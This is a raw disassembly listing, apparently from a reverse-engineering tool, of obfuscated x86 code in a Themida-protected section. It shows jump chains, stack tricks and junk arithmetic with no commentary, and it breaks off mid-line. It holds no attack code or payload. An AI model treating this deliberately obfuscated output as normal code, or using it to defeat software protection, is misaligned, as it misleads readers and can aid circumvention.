loc_59E49D: ; CODE XREF: Themida_:0059D05Fj add esi, 4 xchg esi, [esp] mov esp, [esp] sub eax, ecx sub eax, 69DE1033h pop ecx push esi push 2FFD5F55h pop esi or esi, 5F2B0371h inc esi jmp loc_59C5D7 ; --------------------------------------------------------------------------- loc_59E4C4: ; CODE XREF: Themida_:005A0C20j pop esp push edi mov edi, esp jmp loc_5A4EB5 ; --------------------------------------------------------------------------- loc_59E4CD: ; CODE XREF: Themida_:005AF3EFj add esi, ecx pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] add ebp, 4 jmp loc_5AEA7C ; --------------------------------------------------------------------------- loc_59E4E7: ; CODE XREF: Themida_:005A71EBj neg cl jns loc_59E517 inc cl jl loc_5AE273 sub cl, 14h and al, 29h pop edx loc_59E4FD: ; CODE XREF: Themida_:0059EDA7j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_5AA155 ; --------------------------------------------------------------------------- loc_59E512: ; CODE XREF: Themida_:005A52CDj jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59E517: ; CODE XREF: Themida_:0059E4E9j inc cl jl loc_59E18E sub cl, 14h jmp loc_5AB7A4 ; --------------------------------------------------------------------------- loc_59E527: ; CODE XREF: Themida_:005AC434j add esp, 4 jmp loc_5ADB51 ; --------------------------------------------------------------------------- loc_59E532: ; CODE XREF: Themida_:0059CD2Ej add esp, 4 push edx jmp loc_5A6D87 ; --------------------------------------------------------------------------- loc_59E53B: ; CODE XREF: Themida_:005A3FA2j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5A1BEE ; --------------------------------------------------------------------------- loc_59E54E: ; CODE XREF: Themida_:0059FECFj xchg edx, [esp] pop esp jmp loc_5AC167 ; --------------------------------------------------------------------------- loc_59E557: ; CODE XREF: Themida_:0059E3DCj sub eax, 3B8E236Ah xor eax, 28A965A0h jnz loc_5A38D2 jmp loc_5A5E21 ; --------------------------------------------------------------------------- add eax, edi push dword ptr [esp] pop edi push ebx loc_59E573: ; CODE XREF: Themida_:005ACB18j pop edi add edi, 4 push ebp jmp loc_5A8C91 ; --------------------------------------------------------------------------- loc_59E580: ; CODE XREF: Themida_:005AA3B8j not ecx xor ecx, 0BA565F47h jmp loc_5A2DCD ; --------------------------------------------------------------------------- loc_59E58D: ; CODE XREF: Themida_:0059BE75j ; Themida_:005A6F1Aj sub ebp, 4 jmp loc_5A6EF2 ; --------------------------------------------------------------------------- loc_59E595: ; CODE XREF: Themida_:005AE0B1j mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx pop ecx mov edi, [esp] add esp, 4 jmp loc_5A68F1 ; --------------------------------------------------------------------------- loc_59E5AE: ; CODE XREF: Themida_:005A68DBj mov ecx, 78CC1217h and ecx, 4C743206h xchg edi, ecx not edi jmp loc_5AD5AA ; --------------------------------------------------------------------------- loc_59E5C2: ; CODE XREF: Themida_:0059F369j add eax, ecx jmp loc_5A6680 ; --------------------------------------------------------------------------- loc_59E5C9: ; CODE XREF: Themida_:005A1B90j ; Themida_:005A2D42j mov [esp+4], al pop eax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59E5D3: ; CODE XREF: Themida_:005AFB24j push cx jmp loc_5AB230 ; --------------------------------------------------------------------------- loc_59E5DA: ; CODE XREF: Themida_:005A31BAj push edi mov edi, 29E30053h xor edi, 343E0C79h add edi, 8AB1D19Eh xor esi, edi pop edi jmp loc_5AB265 ; --------------------------------------------------------------------------- loc_59E5F4: ; CODE XREF: Themida_:00598A1Aj add ebx, 4 push edx push ecx mov ecx, 447E1411h mov edx, 447E1415h sub edx, ecx jmp loc_5A8563 ; --------------------------------------------------------------------------- loc_59E60D: ; CODE XREF: Themida_:0059B39Bj xor al, bl jmp loc_5A98A9 ; --------------------------------------------------------------------------- loc_59E614: ; CODE XREF: Themida_:loc_5A7EF1j jmp loc_59FB28 ; --------------------------------------------------------------------------- loc_59E619: ; CODE XREF: Themida_:0059E0D9j xchg edx, [esp] pop esp xor edi, 2E91B888h xor eax, edi pop edi push ebp jmp loc_5A23DB ; --------------------------------------------------------------------------- loc_59E62C: ; CODE XREF: Themida_:005A3A7Aj mov [esp], esi mov esi, esp push ebp mov ebp, 4 jmp loc_5AA22D ; --------------------------------------------------------------------------- loc_59E63C: ; CODE XREF: Themida_:005AEEF7j dec ebx jg loc_5A6716 jmp loc_59D763 ; --------------------------------------------------------------------------- push eax mov eax, 52CD203Ah mov ah, 0EFh loc_59E650: ; CODE XREF: Themida_:0059C65Bj sub ebp, 7A22457Dh add ebp, edi add ebp, 7A22457Dh jmp loc_5ADE3C ; --------------------------------------------------------------------------- loc_59E663: ; CODE XREF: Themida_:005AA829j sub ecx, 48EC46FDh push edi mov edi, 14012E5Dh xor edi, 6BDC1AE4h sub ecx, edi jmp loc_59B100 ; --------------------------------------------------------------------------- loc_59E67C: ; CODE XREF: Themida_:005A0EBAj mov edi, 13936D10h neg edi jmp loc_59EE49 ; --------------------------------------------------------------------------- loc_59E688: ; CODE XREF: Themida_:0059C05Cj xor [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59E692: ; CODE XREF: Themida_:0059C9D3j neg ebx shl ebx, 8 jmp loc_59AC12 ; --------------------------------------------------------------------------- loc_59E69C: ; CODE XREF: Themida_:005A3A94j add ecx, 38C616FBh mov esi, ecx jmp loc_5A01FB ; --------------------------------------------------------------------------- loc_59E6A9: ; CODE XREF: Themida_:005AB6C4j sub eax, ebx pop ebx add eax, esi add eax, 4DA06C4h push ebp jmp loc_59E30D ; --------------------------------------------------------------------------- db 68h, 0A2h, 36h dd 4890000h, 5348B424h, 0FFE483E9h db 0FFh ; --------------------------------------------------------------------------- loc_59E6C9: ; CODE XREF: Themida_:0059FC59j add esp, 4 xchg edi, [esp] jmp loc_5A866F ; --------------------------------------------------------------------------- loc_59E6D7: ; CODE XREF: Themida_:005A11E5j push edx jmp loc_5ACA87 ; --------------------------------------------------------------------------- loc_59E6DD: ; CODE XREF: Themida_:00599285j add eax, 91C755E4h add edi, eax jmp loc_5ABAB9 ; --------------------------------------------------------------------------- loc_59E6E9: ; CODE XREF: Themida_:005A1660j ; Themida_:005A31F1j sub ebp, 2C8902D9h sub ebp, 966C9F93h add edx, 12545338h sub edx, ebp sub edx, 12545338h jmp loc_5AC306 ; --------------------------------------------------------------------------- loc_59E708: ; CODE XREF: Themida_:005AA5A3j push ecx push 676Fh mov [esp], eax push 0B3B695Bh push dword ptr [esp] pop eax jmp loc_5A232D ; --------------------------------------------------------------------------- loc_59E71F: ; CODE XREF: Themida_:005AF61Cj push ebx mov ebx, 4A1F7F91h push esi push eax push 689F1DE9h pop eax neg eax jmp loc_5A9D26 ; --------------------------------------------------------------------------- loc_59E734: ; CODE XREF: Themida_:005AE867j pop bx push edx jmp loc_59B549 ; --------------------------------------------------------------------------- loc_59E73C: ; CODE XREF: Themida_:0059D1C9j ; DATA XREF: Themida_:005987F0o push dword ptr fs:[edx] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59E744: ; CODE XREF: Themida_:005A93F2j xor ebp, 60D9073Dh jnz loc_5AF95C inc ebp jmp loc_5A730C ; --------------------------------------------------------------------------- pop si push edi mov di, 2928h mov bh, cl loc_59E75F: ; CODE XREF: Themida_:0059D3EDj add esp, 4 jmp loc_5AC71E ; --------------------------------------------------------------------------- loc_59E76A: ; CODE XREF: Themida_:005A2013j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx push 2EF6h jmp loc_5AB205 ; --------------------------------------------------------------------------- loc_59E78A: ; CODE XREF: Themida_:005A39FAj add ebp, 4 xchg ebp, [esp] pop esp push 35C4h mov [esp], ebp mov ebp, 4 push 1EA4h mov [esp], edx mov edx, 42090643h sub ebx, edx jmp loc_5A9BFC ; --------------------------------------------------------------------------- loc_59E7B2: ; CODE XREF: Themida_:0059E2A4j push ebp push ebx mov ebx, 3DD06CD1h jmp loc_5A685A ; --------------------------------------------------------------------------- loc_59E7BE: ; CODE XREF: Themida_:0059B8BCj ; Themida_:005A9B6Aj push edx mov edx, 24h push ebx jmp loc_5A127E ; --------------------------------------------------------------------------- loc_59E7CA: ; CODE XREF: Themida_:0059A190j mov ebx, [esp] add esp, 4 add edi, ecx mov ecx, [esp] jmp loc_59FDCD ; --------------------------------------------------------------------------- loc_59E7DA: ; CODE XREF: Themida_:0059A980j xor esi, ebp pop ebp jmp loc_599E7D ; --------------------------------------------------------------------------- loc_59E7E2: ; CODE XREF: Themida_:0059FF47j pop edi push esi mov esi, esp add esi, 4 jmp loc_59944E ; --------------------------------------------------------------------------- loc_59E7F1: ; CODE XREF: Themida_:0059ED89j pop edi jmp loc_5A5DFD ; --------------------------------------------------------------------------- loc_59E7F7: ; CODE XREF: Themida_:0059E03Ej pop dword ptr [esp] mov esp, [esp] loc_59E7FD: ; CODE XREF: Themida_:005A168Ej ; Themida_:005A7E25j mov ebx, [esp] jmp loc_5AD21D ; --------------------------------------------------------------------------- loc_59E805: ; CODE XREF: Themida_:005A7B4Bj jmp loc_5A2839 ; --------------------------------------------------------------------------- loc_59E80A: ; CODE XREF: Themida_:005A759Fj push cx mov ch, 25h jmp loc_59F18F ; --------------------------------------------------------------------------- loc_59E813: ; CODE XREF: Themida_:005AD9E6j push 5D89h mov [esp], ebx mov ebx, esp push 272Eh jmp loc_5A2E94 ; --------------------------------------------------------------------------- loc_59E827: ; CODE XREF: Themida_:005A17E4j ; Themida_:005AF58Aj xor ebx, eax movzx ax, byte ptr [eax] push 7842h mov [esp], ebp push esp push dword ptr [esp] pop ebp push edi mov edi, esp jmp loc_5AFBA7 ; --------------------------------------------------------------------------- loc_59E842: ; CODE XREF: Themida_:005A6409j ; Themida_:005AEDD5j pop eax sub edx, 5A186Dh pop edi sub eax, 61CB4229h sub eax, edx add eax, 61CB4229h push dword ptr [esp] push dword ptr [esp] pop edx jmp loc_5ACF21 ; --------------------------------------------------------------------------- loc_59E862: ; CODE XREF: Themida_:0059B422j or edi, 13E947BAh jnb loc_5A7967 neg edi js loc_5A3F8B jno loc_5ADCBB loc_59E87C: ; CODE XREF: Themida_:0059CF02j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5AD785 ; --------------------------------------------------------------------------- loc_59E894: ; CODE XREF: Themida_:00599CA7j jnz loc_599E9F add ebx, 553A6340h jmp loc_5A2D20 ; --------------------------------------------------------------------------- pop eax loc_59E8A6: ; CODE XREF: Themida_:005A2739j push ebx mov ebx, 1648499Ch jmp loc_5ADABC ; --------------------------------------------------------------------------- loc_59E8B1: ; CODE XREF: Themida_:005ADFC7j push eax mov eax, 0DC52F6F9h jmp loc_5AF5DE ; --------------------------------------------------------------------------- loc_59E8BC: ; CODE XREF: Themida_:005A39B9j add edx, 4 push eax mov eax, 4 sub edx, eax pop eax xchg edx, [esp] mov esp, [esp] mov [esp], esp push ebp push eax push 7FD100E0h pop eax dec eax jle loc_5A36C5 shl eax, 7 shr eax, 7 sub eax, 1D100DBh mov ebp, eax jmp loc_59B6A9 ; --------------------------------------------------------------------------- loc_59E8F5: ; CODE XREF: Themida_:005A43C1j neg cl jmp loc_59AC63 ; --------------------------------------------------------------------------- loc_59E8FC: ; CODE XREF: Themida_:0059B27Dj ; Themida_:loc_5A793Cj sub esp, 4 mov [esp], edx push ebx mov ebx, 7C571108h mov edx, ebx pop ebx xor edx, 506A0018h sub edx, 0BA770551h jmp loc_5A1EDB ; --------------------------------------------------------------------------- loc_59E91F: ; CODE XREF: Themida_:005AE00Cj mov [esp], ax mov al, 0D4h add bl, al pop ax push ecx mov ch, 7Dh add bl, ch pop ecx add bl, 6Bh jmp loc_59BB2E ; --------------------------------------------------------------------------- loc_59E937: ; CODE XREF: Themida_:005A027Dj pop dword ptr [edi+eax*4] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59E93F: ; CODE XREF: Themida_:0059C082j not ebp jmp loc_59DF02 ; --------------------------------------------------------------------------- loc_59E946: ; CODE XREF: Themida_:005A09F3j mov ebp, 1 jmp loc_5ADB64 ; --------------------------------------------------------------------------- loc_59E950: ; CODE XREF: Themida_:005ACA92j xor edx, edi pop edi jmp loc_5A77C9 ; --------------------------------------------------------------------------- loc_59E958: ; CODE XREF: Themida_:0059A692j pop ebx push 60Bh jmp loc_5A4A79 ; --------------------------------------------------------------------------- loc_59E963: ; CODE XREF: Themida_:005A16E7j push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_59D658 ; --------------------------------------------------------------------------- loc_59E971: ; CODE XREF: Themida_:0059A54Bj mov edx, 4 jmp loc_5A8B81 ; --------------------------------------------------------------------------- loc_59E97B: ; CODE XREF: Themida_:00598CDAj ; Themida_:0059BDBFj sub ebx, 17732A90h jmp loc_5997EC ; --------------------------------------------------------------------------- loc_59E986: ; CODE XREF: Themida_:005A82DDj shr ecx, 2 jmp loc_5A337C ; --------------------------------------------------------------------------- loc_59E98E: ; CODE XREF: Themida_:005ACE9Fj mov ecx, 718F2DCAh xor ecx, 718F2DCEh sub esi, 113E3F7Eh add esi, 33D2711h add esi, ecx sub esi, 33D2711h jmp loc_5A9836 ; --------------------------------------------------------------------------- loc_59E9B2: ; CODE XREF: Themida_:005A5373j pop ebx sub eax, 672D9D7h mov ebp, eax pop eax mov edi, ebp pop ebp neg edi push eax push ecx mov ecx, 19E52942h xchg edx, ecx add edx, 1 xchg edx, ecx or ecx, 34C407DFh sub ecx, 6DE23AE8h or ecx, 3AF942FCh push esi mov esi, 7D903CF6h jmp loc_5AE89E ; --------------------------------------------------------------------------- loc_59E9EE: ; CODE XREF: Themida_:005AB012j dec esi jmp loc_5A666F ; --------------------------------------------------------------------------- loc_59E9F4: ; CODE XREF: Themida_:005AC90Cj push dword ptr [esp] jmp loc_59D224 ; --------------------------------------------------------------------------- loc_59E9FC: ; CODE XREF: Themida_:005A3844j add esp, 4 mov dx, [esp] push ebp mov ebp, esp add ebp, 4 sub esp, 4 jmp loc_5AB6D0 ; --------------------------------------------------------------------------- loc_59EA17: ; CODE XREF: Themida_:005AF6CBj xchg esi, [esp] mov esp, [esp] jmp loc_5ABDC9 ; --------------------------------------------------------------------------- loc_59EA22: ; CODE XREF: Themida_:0059EFD6j pop esi push ebp mov ebp, esp add ebp, 4 jmp loc_5AFBB2 ; --------------------------------------------------------------------------- loc_59EA31: ; CODE XREF: Themida_:005A4AB4j xchg eax, [esp] jmp loc_5A6208 ; --------------------------------------------------------------------------- loc_59EA39: ; CODE XREF: Themida_:005AAA68j neg ebp jmp loc_5A39A4 ; --------------------------------------------------------------------------- loc_59EA40: ; CODE XREF: Themida_:0059D54Dj shl ch, 6 jmp loc_5A4EA5 ; --------------------------------------------------------------------------- loc_59EA48: ; CODE XREF: Themida_:0059A1A1j push dword ptr [esp] pop esi add esp, 4 jmp loc_59B7CE ; --------------------------------------------------------------------------- loc_59EA57: ; CODE XREF: Themida_:005A9751j pop edx sub ecx, 4 jmp loc_5ADEEF ; --------------------------------------------------------------------------- loc_59EA63: ; CODE XREF: Themida_:005A8A67j push 5150h jmp loc_5ADAFB ; --------------------------------------------------------------------------- loc_59EA6D: ; CODE XREF: Themida_:0059E0CBj ; Themida_:005AF95Dj add edx, edi push ebx jmp loc_5AE4AE ; --------------------------------------------------------------------------- loc_59EA75: ; CODE XREF: Themida_:0059CE82j push eax add dword ptr [esp], 507C7540h pop ebp sub ebp, 507C7540h pop eax add esi, ebp mov ebp, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 jmp loc_5AFA75 ; --------------------------------------------------------------------------- loc_59EA9E: ; CODE XREF: Themida_:005A4EA8j jz loc_5A4A47 push edx mov dl, 9 push ecx mov ch, 6Ah sub dl, ch pop ecx mov bl, dl loc_59EAAF: ; CODE XREF: Themida_:005AA7B3j xor eax, 0E2ABFFF6h push ecx jmp loc_59FAB7 ; --------------------------------------------------------------------------- loc_59EABA: ; CODE XREF: Themida_:0059CB90j shl ebp, 1 jmp loc_59B898 ; --------------------------------------------------------------------------- loc_59EAC1: ; CODE XREF: Themida_:005AE944j push 2F473607h pop edx and edx, 2ED43564h jmp loc_59FE0E ; --------------------------------------------------------------------------- loc_59EAD2: ; CODE XREF: Themida_:0059B55Fj ; Themida_:005A6F89j pop edx push 7574h mov [esp], edi mov edi, 2 add eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_59904A ; --------------------------------------------------------------------------- loc_59EAEE: ; CODE XREF: Themida_:005A702Fj pop ebx jmp loc_59A60F ; --------------------------------------------------------------------------- loc_59EAF4: ; CODE XREF: Themida_:loc_5ACD5Bj neg ecx jl loc_5A23A5 jmp loc_5A54FC ; --------------------------------------------------------------------------- push 1BB0h loc_59EB06: ; CODE XREF: Themida_:005A9D61j add ebp, 4 jmp loc_5A5C73 ; --------------------------------------------------------------------------- loc_59EB0E: ; CODE XREF: Themida_:005A308Ej push esp pop edi push ebx push 1CDBh jmp loc_5AD59C ; --------------------------------------------------------------------------- loc_59EB1B: ; DATA XREF: Themida_:00598864o mov ax, [esp] push eax push esp jmp loc_59A923 ; --------------------------------------------------------------------------- loc_59EB26: ; CODE XREF: Themida_:0059D10Fj sub ch, 0Ah add bl, 89h sub bl, 0ACh jmp loc_59DB87 ; --------------------------------------------------------------------------- loc_59EB34: ; CODE XREF: Themida_:0059F80Ej sub al, 0FCh jmp loc_5AD127 ; --------------------------------------------------------------------------- loc_59EB3B: ; CODE XREF: Themida_:005A9A76j ; Themida_:005AC1E6j sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 3F787776h push edi mov edi, 6C973726h inc edi neg edi jmp loc_59A71C ; --------------------------------------------------------------------------- loc_59EB5A: ; CODE XREF: Themida_:005A0E56j xchg edx, ebx push ecx mov ecx, 7F193FAEh add ecx, 982D1D94h or ebx, ecx pop ecx add ebx, 26D013ACh or ebx, 4D5011B6h jmp loc_5A2A96 ; --------------------------------------------------------------------------- loc_59EB7C: ; CODE XREF: Themida_:0059CF2Fj mov ebx, 21CE6845h shr ebx, 1 jp loc_599CA1 sub ebx, 105034D0h jmp loc_5AA4CA ; --------------------------------------------------------------------------- mov cl, al loc_59EB96: ; CODE XREF: Themida_:005A3BDDj sub edx, 44000004h jmp loc_5A7B56 ; --------------------------------------------------------------------------- loc_59EBA1: ; CODE XREF: Themida_:005A7338j mov ecx, [esp] jmp loc_5ACA5D ; --------------------------------------------------------------------------- loc_59EBA9: ; CODE XREF: Themida_:005A3623j not esi jmp loc_5A72D7 ; --------------------------------------------------------------------------- loc_59EBB0: ; CODE XREF: Themida_:005A21B7j sub esp, 4 mov [esp], eax mov eax, esp push edx mov edx, 4 jmp loc_5A8144 ; --------------------------------------------------------------------------- loc_59EBC3: ; CODE XREF: Themida_:005AB5A2j mov ebp, 13AA5C65h or ebp, 14DA2C6Fh jmp loc_5A3A65 ; --------------------------------------------------------------------------- loc_59EBD3: ; CODE XREF: Themida_:005AA763j xor eax, esi jmp loc_5AB08F ; --------------------------------------------------------------------------- push 53947h push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push 522Fh mov [esp], edi push 7E57h jmp loc_5ABF94 ; --------------------------------------------------------------------------- loc_59EBFE: ; CODE XREF: Themida_:005A4115j pop eax push 74B7h mov [esp], edx mov edx, 0D8E1523h add edx, 0E605C43h jmp loc_5A9823 ; --------------------------------------------------------------------------- loc_59EC17: ; DATA XREF: Themida_:005987A4o push dword ptr [edi+2Ch] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59EC1F: ; CODE XREF: Themida_:005A4F60j push dword ptr [esp] jmp loc_59D87F ; --------------------------------------------------------------------------- loc_59EC27: ; CODE XREF: Themida_:005998F1j ; Themida_:0059E344j mov eax, esp add eax, 4 jmp loc_5A4AB1 ; --------------------------------------------------------------------------- loc_59EC33: ; CODE XREF: Themida_:005A0CE3j pop esi jmp loc_59B949 ; --------------------------------------------------------------------------- loc_59EC39: ; CODE XREF: Themida_:0059EDFFj xchg edx, ebx xor ebx, 0A9EBC5BFh push edi push ecx push 86101DEh jmp loc_59E317 ; --------------------------------------------------------------------------- mov cx, [esp] push edx push esp pop edx push ebx mov ebx, 4 add edx, ebx mov ebx, [esp] add esp, 4 push ecx push 0A1h mov [esp], edx mov edx, 6B0C3E83h push edi mov edi, 47850DF9h mov ecx, 2387308Ch add ecx, edi pop edi jmp loc_5A3677 ; --------------------------------------------------------------------------- loc_59EC86: ; CODE XREF: Themida_:005AE4F7j sub esp, 4 mov [esp], esp push ebx mov ebx, 4 add dword ptr [esp+4], 6F405773h add [esp+4], ebx jmp loc_5A686C ; --------------------------------------------------------------------------- loc_59ECA3: ; CODE XREF: Themida_:005AB55Aj push esi neg dword ptr [esp] push dword ptr [esp] jmp loc_59BD84 ; --------------------------------------------------------------------------- loc_59ECAF: ; CODE XREF: Themida_:005A5FC0j mov esp, [esp] mov [esp], ecx push edx push ecx push 283B5E5Ch pop ecx not ecx inc ecx sub ecx, 5FF631ECh mov edx, ecx pop ecx push edx not dword ptr [esp] pop edx xchg ebx, edx not ebx xchg ebx, edx push esi mov esi, 172F5424h sub esi, 0A352ECD7h add edx, 32B22347h sub edx, esi jmp loc_5ADD67 ; --------------------------------------------------------------------------- loc_59ECED: ; CODE XREF: Themida_:0059C5F5j xor esi, 2B7A639Eh or ebx, esi pop esi xor ebx, 111149DEh shr ebx, 5 sub esp, 4 mov [esp], ebp push edx mov edx, 7EF7391h mov ebp, edx pop edx jmp loc_5A86D7 ; --------------------------------------------------------------------------- loc_59ED13: ; CODE XREF: Themida_:005AA991j push ebx not dword ptr [esp] pop ebx dec ebx add ebx, 8BB189D3h add ecx, 0A4C1C42h sub ecx, ebx jmp loc_5A724D ; --------------------------------------------------------------------------- loc_59ED2C: ; CODE XREF: Themida_:0059C7F8j pop esi jmp loc_59B5CE ; --------------------------------------------------------------------------- loc_59ED32: ; CODE XREF: Themida_:0059B22Aj jnp loc_5A68B5 jmp loc_5AB83F ; --------------------------------------------------------------------------- pop ecx not edi add edi, 6E20F691h loc_59ED46: ; CODE XREF: Themida_:005AF5A2j mov esi, 88D462AAh jmp loc_5A8942 ; --------------------------------------------------------------------------- loc_59ED50: ; CODE XREF: Themida_:0059978Dj sub cl, 0C3h jmp loc_5A6901 ; --------------------------------------------------------------------------- loc_59ED58: ; CODE XREF: Themida_:0059AA32j ; Themida_:0059F30Dj push 42522063h pop edx neg edx jmp loc_5AE292 ; --------------------------------------------------------------------------- loc_59ED65: ; CODE XREF: Themida_:005A384Aj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5A3693 ; --------------------------------------------------------------------------- loc_59ED73: ; CODE XREF: Themida_:0059FEA0j jmp loc_5AE3C0 ; --------------------------------------------------------------------------- loc_59ED78: ; CODE XREF: Themida_:0059A8D9j push 1D17h jmp loc_5A3F55 ; --------------------------------------------------------------------------- loc_59ED82: ; CODE XREF: Themida_:005A4BF7j dec ecx push edi push 0FEC3B2D8h jmp loc_59E7F1 ; --------------------------------------------------------------------------- loc_59ED8E: ; CODE XREF: Themida_:005A099Cj sub edx, 95E5EB90h push eax jmp loc_5AC911 ; --------------------------------------------------------------------------- loc_59ED9A: ; CODE XREF: Themida_:005ADAB7j push ebp push 942h mov [esp], esi push ebx push ecx mov ecx, esp jmp loc_59E4FD ; --------------------------------------------------------------------------- loc_59EDAC: ; CODE XREF: Themida_:005A667Aj ; Themida_:005A8867j push ebp pop edi pop ebp sub esp, 4 mov [esp], eax mov eax, 6C565C3Eh or eax, 22FD5DC5h push ecx mov ecx, 468925AAh add eax, ecx pop ecx push ebp mov ebp, 0 sub ebp, eax jmp loc_59C70A ; --------------------------------------------------------------------------- loc_59EDD8: ; CODE XREF: Themida_:005A1D4Aj pop ebx jmp loc_5AF4DB ; --------------------------------------------------------------------------- loc_59EDDE: ; CODE XREF: Themida_:005A6B45j xchg eax, [esp] mov esp, [esp] jmp loc_5A3406 ; --------------------------------------------------------------------------- loc_59EDE9: ; CODE XREF: Themida_:005A785Fj pop ebx pop ecx mov ch, 52h sub ch, al pop eax or ch, 82h neg ch sub ch, 0FFh jmp loc_5A0C5A ; --------------------------------------------------------------------------- loc_59EDFD: ; CODE XREF: Themida_:0059B006j not edx jmp loc_59EC39 ; --------------------------------------------------------------------------- loc_59EE04: ; DATA XREF: Themida_:005988ECo mov ax, [esp] push ebx jmp loc_5AC7BB ; --------------------------------------------------------------------------- loc_59EE0E: ; CODE XREF: Themida_:005A681Cj pop ebx xor dx, di xor di, dx jmp loc_5AD802 ; --------------------------------------------------------------------------- loc_59EE1A: ; CODE XREF: Themida_:005A5D29j jnp loc_5AECE5 sub esi, 8ED0E305h shr esi, 2 jmp loc_5A23F3 ; --------------------------------------------------------------------------- loc_59EE2E: ; CODE XREF: Themida_:0059B7C9j ; Themida_:005A5F4Dj push small 277Fh mov [esp], dx mov dh, 3Fh add al, 2 add al, 84h add al, 0E5h add al, dh sub al, 0E5h sub al, 84h jmp loc_5ABF77 ; --------------------------------------------------------------------------- loc_59EE49: ; CODE XREF: Themida_:0059E683j not edi sub edi, 4BD75080h add eax, edi pop edi jmp loc_5A1CF1 ; --------------------------------------------------------------------------- loc_59EE59: ; CODE XREF: Themida_:005A29AEj pop edx sub esp, 4 mov [esp], ebp push 0DD9h mov [esp], ecx jmp loc_5A3F2A ; --------------------------------------------------------------------------- loc_59EE6D: ; CODE XREF: Themida_:0059A3FBj mov ebx, esp add ebx, 4 jmp loc_59FD6B ; --------------------------------------------------------------------------- loc_59EE7A: ; CODE XREF: Themida_:005A4576j mov [esp], ebx mov ebx, 1651700Bh sub ebx, 58FA0F81h and ebx, 70EC3A0Dh neg ebx jmp loc_5A75E3 ; --------------------------------------------------------------------------- loc_59EE95: ; CODE XREF: Themida_:005A76FAj sub cx, 0A8D3h mov dx, cx pop ecx xor dx, 481Ch inc dx jmp loc_5AC18E ; --------------------------------------------------------------------------- loc_59EEAA: ; CODE XREF: Themida_:005A2D54j mov [esp], edx mov ebx, [esp] add esp, 4 jmp loc_59A467 ; --------------------------------------------------------------------------- loc_59EEBB: ; CODE XREF: Themida_:005A69E6j mov [esp], edx jmp loc_5A7DFB ; --------------------------------------------------------------------------- loc_59EEC3: ; CODE XREF: Themida_:005AD84Dj sub cl, 77h dec cl xor cl, 0BAh add dh, cl pop ecx add dh, 0Dh sub ch, dh pop edx add ch, 73h shr ch, 1 jmp loc_5A821B ; --------------------------------------------------------------------------- loc_59EEDE: ; CODE XREF: Themida_:005A5F36j pop eax sub eax, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_5A2049 ; --------------------------------------------------------------------------- loc_59EEED: ; CODE XREF: Themida_:00599E88j mov [esp], esi mov esi, esp push ebx mov ebx, 4 push 4B49h mov [esp], edx mov edx, 6B144750h add edx, 0EB2E127Bh sub esi, edx pop edx sub esi, 77AF2930h add esi, ebx add esi, 77AF2930h add esi, 564259CBh pop ebx sub esp, 4 mov [esp], edx mov edx, 4 jmp loc_59F699 ; --------------------------------------------------------------------------- loc_59EF33: ; CODE XREF: Themida_:005A2113j pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_59F54B ; --------------------------------------------------------------------------- loc_59EF46: ; CODE XREF: Themida_:00599536j ; Themida_:005A6705j pop eax jmp loc_5A62FA ; --------------------------------------------------------------------------- loc_59EF4C: ; CODE XREF: Themida_:0059C69Aj add al, dl sub al, 0F7h mov dx, [esp] jmp loc_5A4BFC ; --------------------------------------------------------------------------- loc_59EF59: ; CODE XREF: Themida_:005A85BEj sub ebp, 37747F73h jmp loc_5A9FDB ; --------------------------------------------------------------------------- loc_59EF64: ; CODE XREF: Themida_:005A84F4j jz loc_5ADD54 jmp loc_5A424F ; --------------------------------------------------------------------------- loc_59EF6F: ; CODE XREF: Themida_:005AE870j push ecx jmp loc_59A599 ; --------------------------------------------------------------------------- loc_59EF75: ; CODE XREF: Themida_:005A0638j xchg ebp, [esp] mov esp, [esp] or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_5AF837 ; --------------------------------------------------------------------------- loc_59EF87: ; CODE XREF: Themida_:loc_5AD9D7j xor edi, 0DA57E778h mov ebx, edi pop edi add eax, ebx pop ebx mov edi, [esp] add esp, 4 add esi, 72D36D82h jmp loc_5A1C88 ; --------------------------------------------------------------------------- loc_59EFA7: ; CODE XREF: Themida_:0059BB40j mov ebp, esp push eax mov eax, 4 push ebx jmp loc_599095 ; --------------------------------------------------------------------------- loc_59EFB5: ; CODE XREF: Themida_:005AF48Ej sub esp, 4 mov [esp], ebp push ecx mov ecx, 1DD01E2h push eax mov eax, ecx jmp loc_5ACCF9 ; --------------------------------------------------------------------------- loc_59EFCC: ; CODE XREF: Themida_:005AA256j pop eax pop esi push esi mov esi, 4 add ebp, esi jmp loc_59EA22 ; --------------------------------------------------------------------------- loc_59EFDB: ; CODE XREF: Themida_:0059A7E9j jz loc_5A0650 jmp loc_5AADC5 ; --------------------------------------------------------------------------- loc_59EFE6: ; CODE XREF: Themida_:0059B416j mov [esp], ebp push 58ADh mov [esp], edx push edi mov edi, 190C7EC4h jmp loc_5AA83E ; --------------------------------------------------------------------------- loc_59EFFC: ; CODE XREF: Themida_:00599A9Aj push 62B3h mov [esp], edx jmp loc_5AE978 ; --------------------------------------------------------------------------- loc_59F009: ; CODE XREF: Themida_:005AAA62j add ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_5AD697 ; --------------------------------------------------------------------------- loc_59F016: ; CODE XREF: Themida_:005AA87Aj pop ecx add ecx, 4 add ecx, 4 jmp loc_598B4B ; --------------------------------------------------------------------------- loc_59F025: ; CODE XREF: 